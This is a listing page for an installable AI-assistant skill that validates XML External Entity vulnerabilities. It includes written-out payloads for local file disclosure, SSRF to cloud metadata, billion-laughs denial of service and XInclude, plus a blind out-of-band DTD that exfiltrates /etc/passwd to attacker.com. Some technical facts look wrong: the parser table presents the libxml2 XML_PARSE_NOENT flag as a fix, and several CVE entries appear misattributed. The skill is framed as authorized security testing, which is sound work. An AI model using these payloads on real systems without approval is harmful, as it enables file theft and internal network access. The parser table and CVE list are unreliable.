Validate XML External Entity (XXE) injection vulnerabilities including file disclosure, SSRF, denial of service, and blind XXE via out-of-band channels. Test by injecting malicious XML with external entity references into endpoints that parse XML. Use when testing CWE-611 (XXE), CWE-827 (Improper Control of Document Type Definition), or related XML parsing vulnerabilities.
Installation
Details
Usage
After installing, this skill will be available to your AI coding assistant.
Verify installation:
npx agent-skills-cli listSkill Instructions
name: xxe-testing description: Validate XML External Entity (XXE) injection vulnerabilities including file disclosure, SSRF, denial of service, and blind XXE via out-of-band channels. Test by injecting malicious XML with external entity references into endpoints that parse XML. Use when testing CWE-611 (XXE), CWE-827 (Improper Control of Document Type Definition), or related XML parsing vulnerabilities. allowed-tools: Read, Write, Bash
XML External Entity (XXE) Injection Testing Skill
Purpose
Validate XXE vulnerabilities by injecting malicious XML documents containing external entity references and observing:
- File disclosure via
file://protocol - Server-Side Request Forgery (SSRF) via
http://or other protocols - Denial of Service via entity expansion (billion laughs) or large file reads
- Blind XXE via out-of-band DNS/HTTP callbacks
- Error-based extraction via parser error messages containing file contents
Vulnerability Types Covered
1. Classic XXE / File Disclosure (CWE-611)
Read local files by defining external entities pointing to file:// URIs.
Detection Methods:
- Inject
<!ENTITY xxe SYSTEM "file:///etc/passwd">and reference&xxe; - Look for file contents in response body or error messages
Example Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
2. SSRF via XXE (CWE-611, CWE-918)
Make server-side requests to internal/external resources.
Detection Methods:
- Inject
<!ENTITY xxe SYSTEM "http://internal-server:8080/"> - Monitor for outbound requests to controlled domains
- Access cloud metadata endpoints (
http://169.254.169.254/)
Example Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<foo>&xxe;</foo>
3. Blind XXE / Out-of-Band (OOB) (CWE-611)
Exfiltrate data when response is not reflected, using external DTD + parameter entities.
Detection Methods:
- Host external DTD on attacker-controlled server
- Use parameter entities to encode file contents in HTTP/DNS requests
- Monitor callback server for data exfiltration
Example Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>
evil.dtd (on attacker server):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;
4. Error-Based XXE (CWE-611)
Extract file contents via parser error messages.
Detection Methods:
- Trigger XML parsing errors that include file contents
- Use non-existent file references that leak partial data
Example Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<foo>test</foo>
5. Denial of Service (DoS) via XXE (CWE-611, CWE-776)
Exhaust server resources via recursive entity expansion or large file reads.
Detection Methods:
- "Billion Laughs" attack (exponential entity expansion)
- Reference
/dev/randomor large files - Monitor for server slowdown or crash
Example Payload (Billion Laughs):
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>
6. XInclude Attacks (CWE-611)
When DOCTYPE is blocked but XInclude processing is enabled.
Detection Methods:
- Use
<xi:include>instead of DOCTYPE entities - Works when application uses partial XML parsing
Example Payload:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
7. SVG/Office Document XXE (CWE-611)
XXE via file upload of SVG images or Office documents (DOCX, XLSX, PPTX).
Detection Methods:
- Upload SVG with embedded XXE payload
- Modify Office document XML parts (document.xml, [Content_Types].xml)
Example SVG Payload:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text x="10" y="20">&xxe;</text>
</svg>
Platform/Parser-Specific Notes
| Platform/Parser | Default Behavior | Notes |
|---|---|---|
| Java (DOM/SAX) | XXE enabled by default | Disable via setFeature() |
| PHP (libxml) | XXE enabled < PHP 8.0 | Use libxml_disable_entity_loader(true) |
| Python (lxml) | XXE disabled by default | Enable with resolve_entities=True |
| .NET (XmlDocument) | XXE enabled by default | Set XmlResolver = null |
| libxml2 | XXE enabled by default | Use XML_PARSE_NOENT flag |
Prerequisites
- Target application that accepts/parses XML input
- Identified XML injection points (API endpoints, file uploads, SOAP services)
- For blind XXE: controlled callback server (collaborator domain)
- VULNERABILITIES.json with suspected XXE findings if provided
Testing Methodology
Phase 1: Identify XML Parsing Points
- SOAP/REST endpoints accepting XML bodies
- File upload handlers (SVG, DOCX, XLSX, XML config files)
- XML-RPC services
- RSS/Atom feed parsers
- SAML/OAuth endpoints processing XML assertions
Phase 2: Establish Baseline
- Send well-formed XML without entities
- Note response format, status, and timing
- Check Content-Type handling (does server accept
application/xml?)
Phase 3: Execute XXE Tests
Classic XXE (File Disclosure):
payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>'''
resp = post("/api/parse", data=payload, content_type="application/xml")
if "root:" in resp.text or "/bin/bash" in resp.text:
status = "VALIDATED"
SSRF via XXE:
payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal:8080/admin">
]>
<foo>&xxe;</foo>'''
resp = post("/api/parse", data=payload, content_type="application/xml")
if "admin" in resp.text or resp.status_code != 400:
status = "VALIDATED"
Blind XXE (OOB):
payload = f'''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://{collaborator}/evil.dtd">
%xxe;
]>
<foo>test</foo>'''
post("/api/parse", data=payload, content_type="application/xml")
if collaborator_received_request():
status = "VALIDATED"
XInclude:
payload = '''<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>'''
resp = post("/api/parse", data=payload, content_type="application/xml")
if "root:" in resp.text:
status = "VALIDATED"
Phase 4: Classification Logic
| Status | Meaning |
|---|---|
| VALIDATED | File contents returned, SSRF confirmed, or OOB callback received |
| FALSE_POSITIVE | DTD/entities disabled, no file disclosure or callbacks |
| PARTIAL | Parser accepts DTD but entity expansion blocked |
| UNVALIDATED | Blocked by WAF, error, or insufficient evidence |
Validation Criteria:
- File contents (e.g.,
/etc/passwd,win.ini) appear in response - SSRF to controlled domain confirmed via callback
- Blind XXE confirmed via DNS/HTTP interaction
- Error messages contain file path or partial contents
Phase 5: Capture Evidence
Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):
status,injection_type,cwe- Request details (url, method, payload, content-type)
- Response snippet showing file disclosure or SSRF result
- Callback details for blind XXE (timestamp, source IP)
Phase 6: Safety Rules
- Detection-only payloads; target benign files (
/etc/passwd,win.ini,/etc/hostname) - NEVER target sensitive credentials (
/etc/shadow, private keys, database configs) - Use minimal DoS payloads (low recursion depth) for testing; stop immediately if slowdown detected
- Only use OOB callbacks to controlled domains you own
- Clean up external DTD files after testing
- Respect rate limits; avoid triggering security alerts
Output Guidelines
- Keep responses concise (1-4 sentences)
- Include endpoint, payload type, and impact
Validated examples:
XXE file disclosure on /api/xml - file:///etc/passwd content returned (CWE-611). Arbitrary file read possible.
Blind XXE on /upload - OOB callback received to collaborator (CWE-611). Data exfiltration risk confirmed.
SSRF via XXE on /soap - internal service response reflected (CWE-611, CWE-918). Internal network access.
XInclude XXE on /parse - file:///etc/hostname disclosed via xi:include (CWE-611). DOCTYPE blocked but XInclude enabled.
Unvalidated example:
XXE test incomplete on /api/data - DTD appears disabled (no entity expansion). Evidence: path/to/evidence.json
CWE Mapping
Primary CWE (DAST-testable):
- CWE-611: Improper Restriction of XML External Entity Reference
- This is THE designated CWE for XXE vulnerabilities
- Alternate terms: XXE, XML eXternal Entity, XML Entity Injection
- OWASP Top Ten 2017 A4, 2021 A05 (Security Misconfiguration)
Related CWEs (context):
- CWE-827: Improper Control of Document Type Definition — related to DTD handling issues
- CWE-776: Improper Restriction of Recursive Entity References in DTDs — "Billion Laughs" DoS
- CWE-918: Server-Side Request Forgery (SSRF) — XXE can enable SSRF attacks
- CWE-610: Externally Controlled Reference to a Resource in Another Sphere — parent class
- CWE-20: Improper Input Validation — related root cause
- CWE-200: Exposure of Sensitive Information — consequence of XXE
Related Attack Patterns:
- CAPEC-221: Data Serialization External Entities Blowup
- CAPEC-201: Serialized Data External Linking
OWASP Classification:
- OWASP Top Ten 2017: A4 - XML External Entities (XXE)
- OWASP Top Ten 2021: A05 - Security Misconfiguration
Notable CVEs (examples)
- CVE-2025-66516 (Apache Tika): Critical XXE (CVSS 10.0) via XFA forms in PDFs; affects tika-core 1.13-3.2.1.
- CVE-2025-54988 (Apache Tika): XXE in PDF parser module leading to file disclosure and SSRF.
- CVE-2021-21234 (Spring Boot): XXE in log4j configuration parsing (log4j pre-2.16).
- CVE-2020-5245 (Dropwizard): XXE via YAML parsing with SnakeYAML.
- CVE-2019-0227 (Apache Axis): SSRF via XXE in SOAP messages.
- CVE-2018-1000001 (Libreoffice): XXE via malicious ODT document.
- CVE-2017-9506 (Jira): Blind XXE allowing internal network scanning.
- CVE-2014-3529 (Apache POI): XXE in Office document parsing.
Safety Reminders
- ONLY test against user-approved targets; stop if production protections trigger
- Use benign file paths for disclosure testing (e.g.,
/etc/passwd, not/etc/shadow) - Minimal DoS payloads only; immediately abort if server impact detected
- OOB callbacks only to domains you control
- Disable external entity processing in production via parser configuration
- Prefer JSON over XML where possible to eliminate XXE attack surface
Reference Implementations
- See
reference/xxe_payloads.pyfor XXE payloads by attack type - See
reference/validate_xxe.pyfor XXE-focused validation flow - See
examples.mdfor concrete XXE scenarios and evidence formats
Additional Resources
More by anshumanbh
View allIdentify agentic AI security threats based on OWASP Top 10 for Agentic Applications 2026. Use when analyzing AI agents, LLM-powered applications, chatbots, auto-reply systems, tool-using AI, browser automation, sandbox execution, or any application that uses AI/LLM APIs (Anthropic, OpenAI, Claude, GPT) to process user input and take actions.
Validate SQL injection vulnerabilities (including blind SQLi) across time-based, error-based, boolean-based, UNION-based, stacked-query, and out-of-band patterns. Use when testing CWE-89 (SQL Injection), CWE-564 (Hibernate SQL Injection), and related SQL injection classes across MySQL, PostgreSQL, MSSQL, Oracle, and SQLite targets.
Validate authorization failures including IDOR, privilege escalation, and missing access controls. Test by attempting unauthorized access with lower-privileged credentials. Use when testing CWE-639 (IDOR), CWE-269 (Improper Privilege Management), CWE-862 (Missing Authorization), CWE-863 (Incorrect Authorization), CWE-284 (Improper Access Control), CWE-285 (Improper Authorization), or CWE-425 (Direct Request / Forced Browsing) findings.
Validate Cross-Site Scripting (XSS) vulnerabilities including Reflected, Stored, and DOM-based XSS. Test by injecting script payloads into user-controlled inputs and observing if they execute in browser context. Use when testing CWE-79 (XSS), CWE-80 (Basic XSS), CWE-81 (Error Message XSS), CWE-83 (Attribute XSS), CWE-84 (URI Scheme XSS), CWE-85 (Doubled Character XSS), CWE-86 (Invalid Character XSS), CWE-87 (Alternate XSS Syntax), or related XSS findings.
